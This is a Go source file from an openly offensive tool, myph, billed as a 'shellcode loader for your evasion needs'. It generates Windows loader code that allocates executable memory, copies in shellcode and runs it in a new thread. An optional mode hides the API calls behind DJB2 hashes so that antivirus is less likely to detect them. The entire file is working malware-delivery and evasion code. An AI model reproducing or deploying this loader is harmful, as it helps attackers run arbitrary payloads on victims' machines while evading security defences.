myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
createThread.go (3989B)
      1 package loaders
      2 
      3 import (
      4 	"fmt"
      5 	"strings"
      6 )
      7 
      8 type CreateTTemplate struct {
      9 	UseApiHashing bool
     10 	HashMethod    string
     11 }
     12 
     13 func (t CreateTTemplate) Import() string {
     14 	if t.UseApiHashing {
     15 		return fmt.Sprintf(`
     16 import (
     17 	"fmt"
     18 	"log"
     19 	"os"
     20 	"syscall"
     21 	"unsafe"
     22 
     23 	"github.com/Binject/debug/pe"
     24 	loader "github.com/cmepw/myph/internals"
     25 )
     26         `)
     27 	}
     28 
     29 	return fmt.Sprintf(`
     30 import (
     31 	"syscall"
     32 	"unsafe"
     33 )
     34 `)
     35 }
     36 
     37 func (t CreateTTemplate) Const() string {
     38 	if !t.UseApiHashing {
     39 
     40 		return fmt.Sprintf(`
     41 const (
     42 	MEM_COMMIT             = 0x1000
     43 	MEM_RESERVE            = 0x2000
     44 	PAGE_EXECUTE_READWRITE = 0x40
     45 )
     46 
     47 var (
     48 	kernel32        = syscall.MustLoadDLL("kernel32.dll")
     49 	ntdll           = syscall.MustLoadDLL("ntdll.dll")
     50 
     51     WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
     52 	VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
     53 	CreateThread        = kernel32.MustFindProc("CreateThread")
     54 
     55     RtlCopyMemory   = ntdll.MustFindProc("RtlCopyMemory")
     56 )
     57         `)
     58 
     59 	}
     60 
     61 	return fmt.Sprintf(`
     62 const (
     63 	MEM_COMMIT             = 0x1000
     64 	MEM_RESERVE            = 0x2000
     65 	PAGE_EXECUTE_READWRITE = 0x40
     66 )
     67 
     68 
     69 `)
     70 }
     71 
     72 func (t CreateTTemplate) Init() string {
     73 	return fmt.Sprintf("\n")
     74 }
     75 
     76 func (t CreateTTemplate) Process() string {
     77 	if t.UseApiHashing {
     78 
     79 		return fmt.Sprintf(`
     80     ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil {
     81         fmt.Println(err.Error())
     82         os.Exit(1)
     83     }
     84     defer ntdll.Close()
     85 
     86 
     87     kernel32, err := pe.Open("C:\\Windows\\System32\\kernel32.dll"); if err != nil {
     88         fmt.Println(err.Error())
     89         os.Exit(1)
     90     }
     91     defer kernel32.Close()
     92 
     93 
     94     var addr uintptr
     95 	regionsize := uintptr(len(shellcode))
     96     VirtualAlloc, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", kernel32)
     97 	if err != nil {
     98 		log.Fatal(err)
     99 	}
    100 
    101     addr = loader.HashedCall(
    102         VirtualAlloc,
    103         0,
    104         regionSize,
    105         MEM_COMMIT|MEM_RESERVE,
    106         PAGE_EXECUTE_READWRITE,
    107     )
    108 
    109     if addr == 0 {
    110         log.Fatal("Error: null return value")
    111     }
    112 
    113     RtlCopyMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7a4c2ed807c8fcf1", ntdll)
    114     if err != nil {
    115 		log.Fatal(err)
    116 	}
    117 
    118     rvalue := loader.HashedCall(
    119         RtlCopyMemory,
    120         addr,
    121         (uintptr)(unsafe.Pointer(&shellcode[0])),
    122         regionsize,
    123     ); if addr != 0 {
    124         log.Fatal("Error: invalid return value")
    125     }
    126 
    127     CreateThread, err := loader.LoadFunctionFromHash(loader.HashDJB2, "65dd5ebc0ad0132a", kernel32)
    128     if err != nil {
    129 		log.Fatal(err)
    130 	}
    131 
    132     threadAddr := loader.HashedCall(
    133         CreateThread,
    134         0,
    135 		0,
    136 		addr,
    137 		0,
    138 		0,
    139 		0,
    140     )
    141 
    142     WaitForSingleObject, err := loader.LoadFunctionFromHash(loader.HashDJB2, "aabf4c35522cfc3e", kernel32)
    143     if err != nil {
    144 		log.Fatal(err)
    145     }
    146 
    147 
    148     loader.HashedCall(
    149         WaitForSingleObject,
    150         threadAddr,
    151         0xFFFFFFFF,
    152     )
    153 
    154         `)
    155 
    156 	}
    157 
    158 	return fmt.Sprintf(`
    159 	addr, _, _ := VirtualAlloc.Call(
    160 		0,
    161 		uintptr(len(shellcode)),
    162 		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
    163 	)
    164 
    165 	_, _, _ = RtlCopyMemory.Call(
    166 		addr,
    167 		(uintptr)(unsafe.Pointer(&shellcode[0])),
    168 		uintptr(len(shellcode)),
    169 	)
    170 
    171     threadAddr, _, _ := CreateThread.Call(
    172 		0,
    173 		0,
    174 		addr,
    175 		0,
    176 		0,
    177 		0,
    178 	)
    179 
    180     WaitForSingleObject.Call(
    181         threadAddr,
    182         0xFFFFFFFF,
    183     )
    184 `)
    185 }
    186 
    187 func (t CreateTTemplate) GetTemplate(targetProcess string) string {
    188 	InformProcessUnused(targetProcess)
    189 
    190 	var template = `
    191 package main
    192 
    193 __IMPORT__STATEMENT__
    194 
    195 __CONST__STATEMENT__
    196 
    197 func ExecuteOrderSixtySix(shellcode []byte) {
    198 
    199 __IMPORT__INIT__
    200 
    201 __IMPORT__PROCESS__
    202 
    203 }
    204     `
    205 	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
    206 	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
    207 	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
    208 	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
    209 
    210 	return strings.Replace(template, "__PROCESS__", targetProcess, -1)
    211 }